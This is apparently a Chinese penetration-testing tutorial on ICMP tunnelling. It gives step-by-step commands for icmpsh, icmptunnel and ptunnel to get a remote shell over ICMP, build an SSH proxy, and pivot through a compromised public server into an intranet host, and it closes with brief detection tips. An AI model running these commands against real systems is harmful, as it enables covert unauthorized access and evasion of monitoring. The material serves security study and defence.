icmp隧道

ICMP 隧道

原理

icmp报文中除了必须要有的类型、校验和等等还可以携带一定长度的可选数据,这也就是我们可以用来搭建隧道的原因,不过每次报文携带得的字节不会很多,所以有点慢。

icmpsh

icmpsh是一款使用简单,而且不需要管理员权限即可运行的程序,可以较为简答的搭建隧道并同时获得目标shell

攻击机是kali, IP地址:192.168.220.129

下载icmpsh 到本地

git clone https://github.com/inquisb/icmpsh.git #下载工具

apt-get install python-impacket #安装依赖

sysctl -w net.ipv4.icmp_echo_ignore_all=1  #关闭本地ICMP应答

执行监听命令,等待回连,IP 192.168.220.146是目标机器

python icmpsh_m.py   

python icmpsh_m.py 192.168.220.129 192.168.220.146

目标机器执行命令格式

icmpsh.exe -t 

然后就可以看到在kali这边已经获得了目标的shell,数据就是通过icmp协议传递的

icmptunnel

这个工具需要管理员权限才能进行操作,因为客户端可服务端都需要关闭icmp 的响应,没有管理员权限无法关闭。

下载并进行编译

git clone https://github.com/jamesbarlow/icmptunnel.git  
cd icmptunnel
make

编译完成后可以将编译的结果(二级制文件直接放到其他Linux 机器使用,一般都是可以的).

为了不受内核自动响应icmp的影响,首先将两端的icmp响应关掉

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

服务端执行,给主机作为流量中转

./icmptunnel –s

icmp隧道_第1张图片

然后在另一个终端执行

/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0

客户端执行

 ./icmptunnel 192.168.220.129

在这里插入图片描述

客户端另一个终端执行

/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0

这时服务器与客户端之间就形成了点对点的icmp隧道

可以在客户端执行

通过ssh over icmp 建立动态转发,使用时使用工具将流量指向本地的8080端口就好了

ssh -D 8080 -N [email protected]

ptunnel

这个工具是有集成在kali 里面的,

安装

#安装libpcap的依赖环境
yum -y install byacc
yum -y install flex bison

#安装libpcap依赖库
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install

#安装PingTunnel
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install

执行是可能的报错

error while loading shared libraries: libpcap.so.1: cannot open shared object file: No such file or directory

执行一下命令

whereis libpcap.so.1

可以看到文件是存在的,只是系统找不到

在这里插入图片描述

做一个连接就好了

sudo ln -s /usr/local/lib/libpcap.so.1 /usr/lib/libpcap.so.1

实战

192.168.220.129 公网vps

192.168.220.147 已经拿下的目标公网服务器

192.168.220.131 无法访问,需要通过隧道才能访问的内网服务器。

vps 执行

ptunnel -p 192.168.220.147 -lp 1080 -da 192.168.220.131 -dp 80 -x cookie
-p  跳板的公网IP
-lp 指定本机的监听端口
-da 目标服务器的内网IP
-dp 指定目标服务器的端口
-x  为隧道写一个隧道密码,防止隧道滥用

你拿下的公网服务器执行

ptunnel -x cookie

可以看到是成功的

icmp隧道_第2张图片

应对icmp隧道措施

使用icmp隧道时,会集中在某个时间点产生大量的icmp数据包,可以通过wireshark进行icmp数据包分析

​ 1.检测同源的icmp数据包数量,正常的ping命令每秒最多两个数据包,隧道会产生大量的数据包。

​ 2.注意payload大于64bit的ICMP数据包

​ 3.寻找响应数据包和请求数据包payload不一致的ICMP数据包。

windows系统下ping默认传输的是: abcdefghijklmnopqrstuvwabcdefghi,共32bytes

linux系统下,ping默认传输的是48bytes,前8bytes随时间变化,后面的固定不变,内容为!”#$%&’()+,-./01234567

​ 4.检查ICMP数据包的协议标签,比如icmptunnel会在所有icmp payload前面加上TUNL标识来标识隧道。

参考

https://xz.aliyun.com/t/7875
https://www.jianshu.com/p/a6eaa947256c

你可能感兴趣的:(内网渗透,渗透测试,icmp,隧道,ssh,over,icmp,安全工具)